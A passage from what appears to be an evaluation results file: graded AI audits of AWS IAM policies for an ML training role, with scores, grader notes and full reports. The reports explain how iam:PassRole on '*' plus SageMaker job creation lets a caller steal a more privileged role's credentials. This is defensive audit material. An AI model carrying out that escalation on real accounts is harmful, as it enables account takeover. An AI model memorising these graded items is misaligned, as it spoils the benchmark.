]\n},\n{\n \"Sid\": \"ECRAuthToken\",\n \"Effect\": \"Allow\",\n \"Action\": \"ecr:GetAuthorizationToken\",\n \"Resource\": \"*\"\n}\n```\n\nAccept that `GetAuthorizationToken` must remain on `*`; document this explicitly so future auditors do not attempt to scope it and consider it resolved when it isn't.\n\n---\n\n## Finding 6 \u2014 LOW: `s3:PutObject` Granted in Two Separate Policies Without Reconciliation\n\n**Policies:** `policy-1.json` (statement `ReadFeatureStoreBuckets`), `policy-6.json` (statement `WriteJobOutputs`)\n\n`s3:PutObject` on `ml-training-artifacts-eu/*` appears in both `policy-1.json` and `policy-6.json`. This is not a vulnerability, but:\n\n1. The Sid `ReadFeatureStoreBuckets` in policy-1 is misleading \u2014 it also includes `PutObject`, which is a write operation. A future auditor seeing only policy-1 will not understand why a \"read\" statement has write permissions.\n2. Duplicate grants across policies make it harder to reason about effective permissions and increase the risk that removing one policy inadvertently changes behavior in unexpected ways.\n\n### Fix\n\nRemove `s3:PutObject` from `policy-1.json`/`ReadFeatureStoreBuckets`. Write access to `ml-training-artifacts-eu` is already covered by `policy-6.json`/`WriteJobOutputs`. Rename the Sid to `ReadFeatureStoreAndTrainingBuckets` or split into separate read/write statements to accurately reflect intent.\n\n---\n\n## Consolidated Findings Table\n\n| # | Severity | Policy | Statement | Issue | Fix |\n|---|---|---|---|---|---|\n| 1 | **CRITICAL** | policy-4 + policy-6 | PassTrainingExecutionRole + RunTrainingAndProcessingJobs | `iam:PassRole *` + `CreateTrainingJob` = full privilege escalation | Scope PassRole to exact role ARN + `iam:PassedToService` condition |\n| 2 | **CRITICAL** | policy-4 + policy-6 | PassTrainingExecutionRole + RunTrainingAndProcessingJobs | Same chain via `CreateProcessingJob` | Closed by same fix as Finding 1 |\n| 3 | **HIGH** | policy-4 | ReadRolesForValidation | `iam:ListRoles` + `GetRole *` enables privileged role enumeration | Scope to single role ARN; remove ListRoles |\n| 4 | **MEDIUM** | policy-5 | WriteExperimentTracking | Wrong resource ARN type for `CreateTrialComponent`; likely a hidden wildcard grant | Split into correctly-ARN'd statements |\n| 5 | **MEDIUM** | policy-3 | ReadModelRegistryEcr | `BatchGetImage`/`GetDownloadUrlForLayer` on `*` pulls from all ECR repos | Scope pull actions to specific repo ARNs |\n| 6 | **LOW** | policy-1 + policy-6 | ReadFeatureStoreBuckets + WriteJobOutputs | Duplicate `s3:PutObject`; misleading Sid | Remove duplicate; fix Sid naming |\n\n---\n\n## Recommended Remediation Priority\n\n```\nImmediate (before next deployment):\n \u2514\u2500 Fix iam:PassRole (Findings 1, 2, 3) \u2014 these are exploitable right now\n with zero additional access required\n\nNext sprint:\n \u2514\u2500 Fix ECR scoping (Finding 5)\n \u2514\u2500 Fix SageMaker experiment ARN types (Finding 4)\n\nHousekeeping:\n \u2514\u2500 Fix duplicate PutObject / Sid naming (Finding 6)\n```\n\nThe PassRole findings are not theoretical. Any engineer, contractor, or compromised process that can assume `role/ml-training-platform` can become a full administrator in this account today.",
"agent_chars": 11850,
"agent_s": 63.3,
"elapsed_s": 71.1
},
{
"fixture": "08-ml-platform-passrole-launch-needle",
"condition": "treatment",
"trial": 0,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all statements across 6 policies, identifies iam:PassRole on Resource '*' and sagemaker:CreateTrainingJob as the key sensitive actions.",
"Identifies E1 (PassRole + CreateTrainingJob) as the critical escalation path, matching the ground truth finding exactly.",
"No false positives: the W4 and W5 findings are correctly labeled Medium/Low and not asserted as privilege escalations; no neutralised combos are mislabeled.",
"Explicitly reasons across policies 4 and 6 as a combined two-statement path ('four policies apart'), demonstrating proper union-of-statements analysis.",
"E1 is ranked Critical and headlines the report; W4/W5 are subordinate Medium/Low findings with no inflation of read-only or enumeration grants.",
"Explicitly names permissions boundary, org SCPs, other attached policies, and privileges of passable roles as things that cannot be determined from the supplied policy alone.",
"Top fix correctly specifies scoping iam:PassRole to the exact execution-role ARN with an iam:PassedToService condition pinning it to sagemaker.amazonaws.com, matching ground-truth substance exactly."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/ml-training-platform`\n\n**Principal:** `role/ml-training-platform`\n**Input:** 6 attached permissions policies, 16 statements total. No trust policy supplied. No permissions boundary supplied.\n\n---\n\n## Step 1 \u2014 Effective Permission Set\n\nUnioning all six policies, with no `Deny` statements present anywhere, the effective permission set is the full union of every Allow. There are no blanket Denies to subtract. The permissions that matter for escalation analysis are:\n\n| Action | Resource | Source |\n|---|---|---|\n| `iam:PassRole` | `*` | policy-4, `PassTrainingExecutionRole` |\n| `sagemaker:CreateTrainingJob` | `arn:aws:sagemaker:eu-west-1:488213749302:training-job/*` | policy-6, `RunTrainingAndProcessingJobs` |\n| `sagemaker:CreateProcessingJob` | `arn:aws:sagemaker:eu-west-1:488213749302:training-job/*` | policy-6, `RunTrainingAndProcessingJobs` |\n| `iam:GetRole`, `iam:ListRoles` | `*` | policy-4, `ReadRolesForValidation` |\n| All other grants | scoped resources | policies 1\u20133, 5\u20136 |\n\nNo `Deny` statements exist. No permissions boundary was supplied. Escalation checks run against the full resolved set.\n\n---\n\n## Findings\n\n### \ud83d\udd34 CRITICAL \u2014 E1: `iam:PassRole` on `Resource \"*\"` + `sagemaker:CreateTrainingJob`\n\n**Rule:** E1 \u2014 PassRole + role-binding compute-launch action\n**Statements:** policy-4 `PassTrainingExecutionRole` \u00d7 policy-6 `RunTrainingAndProcessingJobs`\n**Severity:** Critical\n\n**What the escalation is:**\n\nThese two statements sit four policies apart and neither looks dangerous in isolation. Together they are a complete privilege-escalation path.\n\n`iam:PassRole` on `Resource \"*\"` means this principal can pass **any role in the account** to a compute service \u2014 including roles that are far more privileged than `role/ml-training-platform` itself, up to and including an `AdministratorAccess` role. `sagemaker:CreateTrainingJob` is a role-binding launch action: the `RoleArn` parameter is a required field in the `CreateTrainingJob` API call, and SageMaker attaches the passed role to the training container. Code running inside that container receives credentials for the passed role via the container's metadata endpoint.\n\nThe escalation path is:\n\n1. Principal calls `iam:ListRoles` (already granted in `ReadRolesForValidation`) to enumerate account roles and identify a high-privilege target.\n2. Principal calls `sagemaker:CreateTrainingJob` with a training script that exfiltrates `$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`, passing an admin-equivalent role via `RoleArn`.\n3. The training container starts, receives credentials for the passed role, and the attacker retrieves them \u2014 inheriting that role's full privilege set.\n\n`sagemaker:CreateProcessingJob` (same statement) is an identical second vector: processing jobs also accept a `RoleArn` and expose it to the container environment.\n\n**Why it is not neutralised:** There are zero `Deny` statements across all six policies. `iam:PassRole` is on `Resource \"*\"`, not scoped to a specific execution-role ARN. No permissions boundary was supplied that might cap it. The launch actions are genuine role-binding create actions, not `Start`/`Invoke` actions that bind no new role.\n\n**Fix (in order of preference):**\n\n1. **Scope `iam:PassRole` to the specific execution role ARN** this platform legitimately needs to pass. Replace `Resource \"*\"` with the ARN(s) of the intended training execution role(s), e.g.:\n ```json\n {\n \"Sid\": \"PassTrainingExecutionRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": [\n \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\"\n ],\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"sagemaker.amazonaws.com\"\n }\n }\n }\n ```\n The `iam:PassedToService` condition further restricts the pass to SageMaker only, preventing the same PassRole grant from being used with EC2, Lambda, ECS, or any other compute service that also accepts a passed role.\n\n2. **Add an explicit Deny as a belt-and-suspenders control** even after scoping, to guard against future policy drift:\n ```json\n {\n \"Sid\": \"DenyPassRoleToNonTrainingRoles\",\n \"Effect\": \"Deny\",\n \"Action\": \"iam:PassRole\",\n \"NotResource\": [\n \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\"\n ]\n }\n ```\n\n3. **Attach a permissions boundary** to the role that Denies `iam:PassRole` on `Resource \"*\"` and caps `iam:*` mutations entirely. This is the defence-in-depth layer that prevents a future policy change from re-opening the path.\n\n---\n\n### \ud83d\udfe1 MEDIUM \u2014 W4: `iam:GetRole` + `iam:ListRoles` on `Resource \"*\"`\n\n**Rule:** W4 \u2014 mutating (here: enumeration) actions on `Resource \"*\"` where scoping is possible\n**Statement:** policy-4 `ReadRolesForValidation`\n**Severity:** Medium\n\n**What this is:**\n\n`iam:GetRole` and `iam:ListRoles` are read-only but they enumerate every IAM role in the account, including names, ARNs, trust policies, and attached policy names. In isolation this is an information-disclosure over-reach. In the context of the E1 finding above, it directly enables step 1 of the escalation path (target identification). It is worth fixing independently even after E1 is closed, because role enumeration is broader than the platform needs.\n\n**Fix:** If this grant exists to validate that a specific execution role exists before passing it, scope it to that role's ARN:\n```json\n{\n \"Sid\": \"ReadRolesForValidation\",\n \"Effect\": \"Allow\",\n \"Action\": [\n \"iam:GetRole\"\n ],\n \"Resource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\"\n}\n```\n`iam:ListRoles` cannot be scoped to a resource ARN (it is always account-wide); if enumeration is not required, remove it entirely.\n\n---\n\n### \ud83d\udfe1 MEDIUM \u2014 W4: `ecr:GetAuthorizationToken` on `Resource \"*\"`\n\n**Rule:** W4 \u2014 action on `Resource \"*\"` that warrants a note\n**Statement:** policy-3 `ReadModelRegistryEcr`\n**Severity:** Medium (borderline low \u2014 flagged for completeness)\n\n**What this is:**\n\n`ecr:GetAuthorizationToken` returns a Docker-registry authentication token for **any ECR registry in the account**, not scoped to a specific repository. It cannot be restricted by resource ARN (it is a global ECR action), so this is an inherent limitation of the ECR API, not a policy misconfiguration. However, combined with `ecr:BatchGetImage` and `ecr:GetDownloadUrlForLayer` on `Resource \"*\"`, this principal can pull images from **any private ECR repository in the account**, not just the ML model registry repositories.\n\n**Fix:** Scope `ecr:BatchGetImage`, `ecr:GetDownloadUrlForLayer`, and `ecr:DescribeImages` to the specific repository ARNs this platform uses. `ecr:GetAuthorizationToken` must remain on `Resource \"*\"` per AWS API constraints, but narrowing the data-plane actions limits the blast radius:\n```json\n{\n \"Resource\": [\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-training-*\",\n \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-model-*\"\n ]\n}\n```\n\n---\n\n### \ud83d\udd35 LOW \u2014 W5: `s3:GetObject` on buckets (data exfiltration reach)\n\n**Rule:** W5 \u2014 broad read on storage resources\n**Statement:** policy-1 `ReadFeatureStoreBuckets`\n**Severity:** Low\n\n**What this is:**\n\n`s3:GetObject` on `arn:aws:s3:::ml-feature-store-eu/*` and `arn:aws:s3:::ml-training-artifacts-eu/*` grants read access to all objects in both buckets. Whether this is over-broad depends entirely on the data classification of those buckets, which is not visible from the policy. If those buckets contain PII, model weights with IP value, or credentials baked into training data, this grant is the exfiltration surface for a compromised principal.\n\nThis is a flag to verify, not a confirmed misconfiguration \u2014 the resource scoping to named buckets is correct IAM hygiene. The concern is object-level sensitivity.\n\n**Fix:** If finer-grained access is possible, scope `s3:GetObject` to specific prefixes within those buckets (e.g., `arn:aws:s3:::ml-feature-store-eu/features/*`) rather than the entire bucket. Add `s3:GetObject` to monitoring via S3 server access logging or CloudTrail data events on both buckets.\n\n---\n\n## Summary Table\n\n| # | Rule | Severity | Statements | One-line description |\n|---|---|---|---|---|\n| 1 | E1 | **Critical** | policy-4 `PassTrainingExecutionRole` + policy-6 `RunTrainingAndProcessingJobs` | `iam:PassRole` on `*` + `sagemaker:CreateTrainingJob` \u2192 full role inheritance via training container |\n| 2 | W4 | Medium | policy-4 `ReadRolesForValidation` | `iam:ListRoles`/`GetRole` on `*` enables account-wide role enumeration; directly aids E1 |\n| 3 | W4 | Medium | policy-3 `ReadModelRegistryEcr` | ECR data-plane actions on `Resource \"*\"` pull images from any account repository |\n| 4 | W5 | Low | policy-1 `ReadFeatureStoreBuckets` | `s3:GetObject` on full buckets; impact depends on data classification |\n\n**No E2, E3, E4, E5, E6, W1, W2, W3, or X1 findings.** The rest of the policy is correctly scoped. The experiment tracking writes (`policy-5`) are pinned to `arn:aws:sagemaker:...:experiment/*`. The SQS grant is pinned to a single queue ARN. The SSM grant is pinned to a parameter path. The KMS grant is pinned to a single key ARN. The CloudWatch and SageMaker describe actions are read-only. None of the remaining grants contain IAM mutation primitives, so E2/E4/E5/E6 do not apply. There is no `NotAction`, no `Action \"*\"`, no service-level wildcard \u2014 W1/W2/W3 do not apply.\n\n---\n\n## What This Audit Cannot Determine\n\nThe following joins are beyond what the six supplied policy documents can answer. Each is a real risk surface that must be verified separately:\n\n1. **Other attached policies.** This audit covers the six policies supplied. If `role/ml-training-platform` has additional managed or inline policies attached in the account, the effective permission set is incomplete. An additional policy could introduce further escalation paths \u2014 or, less likely, a Deny that partially neutralises E1. Verify with `aws iam list-attached-role-policies` and `aws iam list-role-policies`.\n\n2. **Permissions boundary.** No permissions boundary was supplied. A boundary that Denies `iam:PassRole` on `Resource \"*\"` would cap the E1 escalation entirely. A boundary that allows it would not. The E1 finding above is reported at Critical because **no boundary was supplied** \u2014 it should not be taken as confirmed-uncapped until a boundary is inspected. If a boundary exists, re-run this audit with it. If no boundary exists, attaching one that Denies `iam:*` mutations is the highest-leverage single control this account can add for this role.\n\n3. **Org SCPs.** A Service Control Policy at the OU or account level could Deny `iam:PassRole`, `sagemaker:CreateTrainingJob`, or both, which would suppress E1 at the org layer even without a policy fix. SCPs are invisible from the account and cannot be inferred from the role's policy documents. Verify with `aws organizations list-policies-for-target` on the account.\n\n4. **Privileges of passable roles.** The E1 finding is Critical because `iam:PassRole` is on `Resource \"*\"` \u2014 meaning any role in the account can be passed, including administrators. The severity would downgrade to High if PassRole were scoped to a specific role ARN, and would then depend on whether that specific role is more privileged than `role/ml-training-platform`. Those privileges live in the target role's policy documents, not here. After scoping the PassRole, audit the target role separately.\n\n5. **Trust policy for `role/ml-training-platform`.** No trust policy was supplied. The trust policy determines who or what can assume this role. If the trust is open or misconfigured (e.g., `Principal: \"*\"` with no condition, or trusting an overly broad service/account), the E1 path becomes exploitable by any external principal who can assume the role, not just an insider. Inspect and supply the trust policy for a complete picture.",
"agent_chars": 11890,
"agent_s": 65.7,
"elapsed_s": 94.8
},
{
"fixture": "08-ml-platform-passrole-launch-needle",
"condition": "treatment",
"trial": 1,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all statements across six policies, identifies iam:PassRole on Resource '*' and sagemaker:CreateTrainingJob as concrete sensitive permissions without skipping wildcards.",
"Identifies the E1 escalation path (iam:PassRole on '*' combined with sagemaker:CreateTrainingJob/CreateProcessingJob) as the critical finding, matching ground truth.",
"No false positives; all other escalation checks (E2-E6) are correctly cleared, and read-only grants like GetRole/ListRoles are flagged only as medium/informational, not as live escalations.",
"Explicitly unions statements across policy-4.json and policy-6.json to identify the cross-statement E1 combo, correctly noting the two halves sit in separate policies.",
"Ranks E1 as Critical and most serious; read-only and informational findings are ranked Medium/Low, consistent with ground truth severity ordering.",
"Names multiple things it cannot determine: permissions boundary, org SCPs, trust policy, privileges of passable roles, and other attached policies \u2014 all matching ground-truth boundary items.",
"Top fix correctly scopes iam:PassRole to specific execution-role ARNs with an iam:PassedToService condition pinning to sagemaker.amazonaws.com, matching the ground-truth recommended fix."
],
"agent_output": "# IAM Privilege-Escalation Audit \u2014 `role/ml-training-platform`\n\n**Principal:** `role/ml-training-platform`\n**Input:** 6 attached permissions policies, ~16 statements. No trust policy supplied. No permissions boundary supplied.\n\n---\n\n## Step 1 \u2014 Effective Permission Set\n\nUnioning all six policies and scanning for Deny statements:\n\n**There are zero Deny statements across all six policies.** No neutralisation is possible from within the policy corpus itself. Every Allow stands.\n\nThe resolved effective set, grouped by service:\n\n| Service | Actions granted | Resource scope |\n|---|---|---|\n| S3 | `GetObject`, `ListBucket`, `PutObject`, `AbortMultipartUpload` | Two named buckets |\n| DynamoDB | `GetItem`, `Query`, `BatchGetItem` | One named table |\n| SageMaker | `Describe*`/`List*` (jobs, models, endpoints, notebooks), `CreateTrainingJob`, `CreateProcessingJob`, `StopTrainingJob`, `CreateExperiment`, `CreateTrial`, `CreateTrialComponent`, `AddTags` | Mix: `Resource \"*\"` for Describe/List; named ARN prefix for creates |\n| CloudWatch Logs | `GetLogEvents`, `FilterLogEvents`, `DescribeLogStreams` | Scoped log group |\n| CloudWatch Metrics | `GetMetricData`, `ListMetrics` | `Resource \"*\"` |\n| ECR | `GetDownloadUrlForLayer`, `BatchGetImage`, `GetAuthorizationToken`, `DescribeImages` | `Resource \"*\"` |\n| SSM | `GetParameter`, `GetParametersByPath` | Scoped parameter path |\n| SQS | `SendMessage`, `ReceiveMessage`, `DeleteMessage`, `GetQueueAttributes` | One named queue |\n| IAM | **`PassRole`** (Resource `*`), `GetRole`, `ListRoles` | PassRole on `*`; read on `*` |\n| KMS | `DescribeKey`, `ListAliases` | One named key |\n\n**Critical observation:** `iam:PassRole` on `Resource \"*\"` is present with zero Deny statements, and `sagemaker:CreateTrainingJob` and `sagemaker:CreateProcessingJob` are present in a separate policy. The E1 preconditions are fully satisfied.\n\n---\n\n## Step 2 \u2014 Cross-Statement Escalation Combos (E1\u2013E6)\n\n### \ud83d\udd34 FINDING E1 \u2014 CRITICAL: `iam:PassRole` on `Resource \"*\"` + `sagemaker:CreateTrainingJob` / `CreateProcessingJob`\n\n**Rule:** E1 \u2014 PassRole + role-binding compute-launch action\n\n**Grounded in:**\n- `policy-4.json` / `Sid: PassTrainingExecutionRole` \u2192 `iam:PassRole` on `Resource \"*\"`\n- `policy-6.json` / `Sid: RunTrainingAndProcessingJobs` \u2192 `sagemaker:CreateTrainingJob`, `sagemaker:CreateProcessingJob`\n\n**How the escalation works, step by step:**\n\n1. The principal calls `sagemaker:CreateTrainingJob` (or `CreateProcessingJob`), supplying any IAM role ARN in the `RoleArn` field of the job request.\n2. The `iam:PassRole` grant on `Resource \"*\"` permits passing **any role in the account** \u2014 including roles that carry `AdministratorAccess` or `PowerUserAccess` \u2014 to SageMaker without restriction.\n3. SageMaker launches the job with that role as the execution identity. The training container runs with the attached role's credentials available via the instance metadata service (IMDS) or via the SageMaker execution environment's credential chain.\n4. The principal retrieves those credentials \u2014 either by injecting a credential-exfiltration step into the training script (the `TrainingJobDefinition.AlgorithmSpecification.TrainingImage` is caller-controlled), or by reading `s3://ml-training-artifacts-eu/` where the job writes outputs, or by any side channel the attacker controls inside the container.\n5. The principal now holds the temporary credentials of the passed role, which can be significantly more privileged than this role.\n\n**Why this is Critical (not merely High):** `PassRole` is on `Resource \"*\"`. There is no ARN restriction limiting which roles can be passed (e.g., `arn:aws:iam::488213749302:role/sagemaker-execution-*`). Any role in the account is passable, including administrative roles. There are no Deny statements anywhere in the corpus to interrupt either leg.\n\n**The same path exists via `CreateProcessingJob`** (also in `policy-6.json`), which accepts a `RoleArn` argument by the same mechanism.\n\n**Fix:**\n1. **Scope `iam:PassRole` to a specific role or naming convention.** Replace `Resource \"*\"` with the ARN(s) of the legitimate SageMaker execution role(s), e.g.:\n ```json\n {\n \"Sid\": \"PassTrainingExecutionRole\",\n \"Effect\": \"Allow\",\n \"Action\": \"iam:PassRole\",\n \"Resource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\",\n \"Condition\": {\n \"StringEquals\": {\n \"iam:PassedToService\": \"sagemaker.amazonaws.com\"\n }\n }\n }\n ```\n The `iam:PassedToService` condition is a defence-in-depth layer: it restricts the role from being passed to other services (e.g., EC2, Lambda) even if additional launch actions are added in future.\n\n2. **Add an explicit Deny as a belt-and-suspenders control**, scoped to the same statement, preventing any role whose ARN does not match the sanctioned prefix from being passed:\n ```json\n {\n \"Sid\": \"DenyPassRoleToNonSageMakerRoles\",\n \"Effect\": \"Deny\",\n \"Action\": \"iam:PassRole\",\n \"NotResource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\"\n }\n ```\n\n3. **Consider whether `CreateProcessingJob` is required by this principal.** If processing jobs are managed by a separate role, remove it here to reduce the attack surface.\n\n---\n\n**E2 check (`iam:CreatePolicyVersion` / `SetDefaultPolicyVersion`):** Not granted. Clean.\n\n**E3 check (`lambda:UpdateFunctionCode`):** Not granted. Clean.\n\n**E4 check (`iam:AttachUserPolicy` / `AttachRolePolicy` / `PutRolePolicy`):** Not granted. `iam:GetRole` and `iam:ListRoles` are read-only; they are not E4 primitives. Clean.\n\n**E5 check (`iam:UpdateAssumeRolePolicy` + `sts:AssumeRole`):** Neither action is granted. Clean.\n\n**E6 check (`iam:CreateAccessKey`, `CreateLoginProfile`, `AddUserToGroup`):** Not granted. Clean.\n\n---\n\n## Step 3 \u2014 Wildcard Grant Classification (W1\u2013W5)\n\n**W1 check (`Action '*'` on `Resource '*'`):** Not present. Clean.\n\n**W3 check (`Allow` + `NotAction`):** Not present. Clean.\n\n**W2 check (service-level wildcard on sensitive service):** Not present. All action lists are explicit enumerations. Clean.\n\n---\n\n### \ud83d\udfe1 FINDING W4 \u2014 MEDIUM: `iam:GetRole` + `iam:ListRoles` on `Resource \"*\"`\n\n**Rule:** W4 \u2014 mutating-adjacent broad grant on `Resource \"*\"` where scoping is possible.\n\n**Grounded in:** `policy-4.json` / `Sid: ReadRolesForValidation`\n\n**Note:** These are read-only IAM actions; they are not a privilege-escalation primitive on their own. However, `iam:ListRoles` on `Resource \"*\"` gives the principal a complete inventory of every role in the account \u2014 names, ARNs, attached policies, trust relationships. In the context of the confirmed E1 escalation above, this is directly enabling: the principal can enumerate all roles, identify the most privileged one (e.g., one with `AdministratorAccess` attached), and then pass that specific role to a SageMaker job.\n\nWithout the E1 finding this would be a standalone low/medium information-disclosure flag. In the presence of the unscoped PassRole it is operationally significant.\n\n**Fix:** Scope to the role(s) legitimately needed for validation:\n```json\n{\n \"Action\": [\"iam:GetRole\"],\n \"Resource\": \"arn:aws:iam::488213749302:role/sagemaker-training-execution-role\"\n}\n```\n`iam:ListRoles` does not support resource-level scoping (it always returns all roles regardless of the ARN in the Resource field \u2014 this is an IAM API limitation). If role enumeration is genuinely needed, accept it; if it is not, remove the action entirely.\n\n---\n\n### \ud83d\udfe1 FINDING W4 \u2014 MEDIUM: SageMaker Describe/List actions on `Resource \"*\"`\n\n**Rule:** W4 \u2014 read actions on `Resource \"*\"` where scoping is possible.\n\n**Grounded in:** `policy-2.json` / `Sid: DescribeTrainingInfra`; `policy-5.json` / `Sid: ManageNotebookLifecycleConfigsReadOnly`\n\n**Note:** `sagemaker:DescribeTrainingJob`, `ListTrainingJobs`, `DescribeModel`, `ListModels`, `DescribeEndpoint`, `ListEndpoints`, `DescribeNotebookInstance`, `ListNotebookInstances` are all granted on `Resource \"*\"`. This gives the principal full visibility into the account's SageMaker resource inventory, including models, endpoints, and notebooks it has no operational need to inspect. These actions do not directly escalate privileges but they widen the reconnaissance surface unnecessarily.\n\n**Fix:** Scope to the account/region prefix at minimum:\n```json\n\"Resource\": \"arn:aws:sagemaker:eu-west-1:488213749302:*\"\n```\nor, more narrowly, to specific resource type prefixes (`training-job/*`, `model/*`, etc.).\n\n---\n\n### \ud83d\udfe2 W5 \u2014 LOW: ECR `GetAuthorizationToken` on `Resource \"*\"`\n\n**Rule:** W5 \u2014 broad credential-bearing read action.\n\n**Grounded in:** `policy-3.json` / `Sid: ReadModelRegistryEcr`\n\n`ecr:GetAuthorizationToken` returns a temporary token valid for 12 hours for **any** ECR registry in the account, not just the registry hosting the training images. This is an API-level limitation (the action does not accept a resource ARN \u2014 it always applies account-wide), but it is worth flagging: the principal can authenticate to any ECR registry in the account and pull any image it has `BatchGetImage` rights to. Since `BatchGetImage` here is also on `Resource \"*\"`, the principal can pull any image in any repository in the account, not just the training images. This could include images that contain embedded secrets, certificates, or proprietary model weights.\n\n**Fix:** `GetAuthorizationToken` cannot be scoped by resource (AWS does not support it). Accept the scope or remove ECR access if the principal does not need to authenticate to ECR directly. Scope `BatchGetImage` and `GetDownloadUrlForLayer` to the specific repository ARNs:\n```json\n\"Resource\": \"arn:aws:ecr:eu-west-1:488213749302:repository/ml-training-images\"\n```\n\n---\n\n### \ud83d\udfe2 W5 \u2014 LOW: `cloudwatch:GetMetricData` + `cloudwatch:ListMetrics` on `Resource \"*\"`\n\n**Rule:** W5 \u2014 read on `Resource \"*\"`.\n\n**Grounded in:** `policy-3.json` / `Sid: ReadTrainingMetrics`\n\nThese actions expose metric data from every service in the account (not just SageMaker), which could reveal operational patterns or be used for reconnaissance. Low impact on its own; low in context. Scope to the CloudWatch namespace `/aws/sagemaker/` if the metrics consumed are exclusively SageMaker metrics. Note that CloudWatch resource-level scoping for `GetMetricData` has limitations; a namespace condition may be more practical.\n\n---\n\n## Step 4 \u2014 Trust Policy Exposure (X1)\n\n**No trust policy was supplied.** The X1 check cannot be run. This is a gap \u2014 the trust policy determines who can assume this role at all, and a permissive trust (wildcard principal, or trust of an overly broad account or service) would compound every finding above.\n\n---\n\n## Step 5 \u2014 Deceptive-Clean Review\n\nThis policy is **not** a deceptive-clean case. There are no Deny statements, no permissions boundary, and no conditions anywhere in the corpus. There is nothing to suppress the E1 escalation. The finding is real and unmitigated.\n\n---\n\n## Findings Summary \u2014 Ranked by Severity\n\n| # | Rule | Severity | Policy / Sid | Summary |\n|---|---|---|---|---|\n| 1 | **E1** | **Critical** | `policy-4.json / PassTrainingExecutionRole` + `policy-6.json / RunTrainingAndProcessingJobs` | `iam:PassRole` on `*` + `sagemaker:CreateTrainingJob` / `CreateProcessingJob`: pass any role in the account to a SageMaker job and inherit its credentials |\n| 2 | **W4** | Medium | `policy-4.json / ReadRolesForValidation` | `iam:ListRoles` + `iam:GetRole` on `*`: full role inventory enables targeted use of the E1 path; scoping possible for `GetRole` |\n| 3 | **W4** | Medium | `policy-2.json / DescribeTrainingInfra`, `policy-5.json / ManageNotebookLifecycleConfigsReadOnly` | SageMaker Describe/List on `*`: broader account visibility than needed |\n| 4 | **W5** | Low | `policy-3.json / ReadModelRegistryEcr` | ECR `GetAuthorizationToken` + `BatchGetImage` on `*`: can pull any image in any repository in the account |\n| 5 | **W5** | Low | `policy-3.json / ReadTrainingMetrics` | CloudWatch `GetMetricData` / `ListMetrics` on `*`: account-wide metric visibility |\n\n---\n\n## What This Audit Cannot Determine\n\nThe following are explicit gaps \u2014 joins this policy corpus alone cannot close:\n\n1. **Other attached policies.** Only six policies were supplied. If this role has additional managed or inline policies attached (e.g., via a job function managed policy or an account-level baseline), the effective permission set is larger than what was audited here. A Deny in an unsupplied policy could reduce the E1 severity; an additional Allow could introduce further escalation paths not visible here.\n\n2. **Permissions boundary.** No permissions boundary was supplied for `role/ml-training-platform`. A boundary set to a policy that Denies `iam:PassRole` would neutralise E1 entirely. A boundary that allows `iam:PassRole` on `*` would confirm the finding. The E1 finding stands until the boundary is reviewed. **This is the highest-priority gap to close after fixing the PassRole scope.**\n\n3. **Org SCPs.** Service Control Policies at the OU or account level could Deny `iam:PassRole` or `sagemaker:CreateTrainingJob` account-wide, which would neutralise E1 at the org layer. This audit cannot see SCPs. E1 is not resolved by the SCP question \u2014 the policy should be fixed regardless, because SCP coverage is organisationally contingent and can change.\n\n4. **Privileges of the roles this principal can pass.** The severity of E1 is characterised as critical because `PassRole` is on `Resource \"*\"` \u2014 any role in the account is in scope. However, the actual blast radius depends on the most privileged role in the account. If every role in `488213749302` is narrowly scoped and none carries admin-equivalent permissions, the practical impact is lower than the policy-level severity indicates. Conversely, if there is an `arn:aws:iam::488213749302:role/OrganizationAccountAccessRole` or an `AdministratorAccess`-attached role, the path to full account compromise is direct. This must be verified by inspecting the account's role inventory \u2014 which the `iam:ListRoles` grant (W4 above) ironically makes trivial for the principal itself.\n\n5. **Trust policy of `role/ml-training-platform`.** Not supplied. Cannot assess X1 (wildcard principal exposure) or confirm whether the role is assum",
"agent_chars": 14226,
"agent_s": 82.8,
"elapsed_s": 91.3
},
{
"fixture": "08-ml-platform-passrole-launch-needle",
"condition": "treatment",
"trial": 2,
"score": 7,
"scores_by_item": [
1,
1,
1,
1,
1,
1,
1
],
"notes": [
"Correctly parses all statements across six policies, identifying iam:PassRole on Resource '*', sagemaker:CreateTrainingJob, iam:ListRoles, and other grants accurately.",
"Identifies the E1 critical finding: iam:PassRole on Resource '*' combined with sagemaker:CreateTrainingJob enables passing any account role as the SageMaker execution role.",
"No false positives; secondary findings (W4, W5) are correctly rated medium/low and not elevated to critical escalations.",
"Explicitly reasons across policies (policy-4 PassRole + policy-6 CreateTrainingJob) to form the union, recognizing the cross-statement combo as the defect.",
"Ranks E1 as CRITICAL and correctly identifies the lower-severity findings as MEDIUM/LOW, not conflating read-only or recon grants with privilege escalation.",
"Names multiple things it cannot determine: privileges of passable roles, permissions boundary, Org SCPs, and trust policy \u2014 all matching ground-truth joins.",
"Top fix correctly scopes iam:PassRole to specific execution role ARNs and adds iam:PassedToService condition, matching the ground-truth recommendation in substance."
],
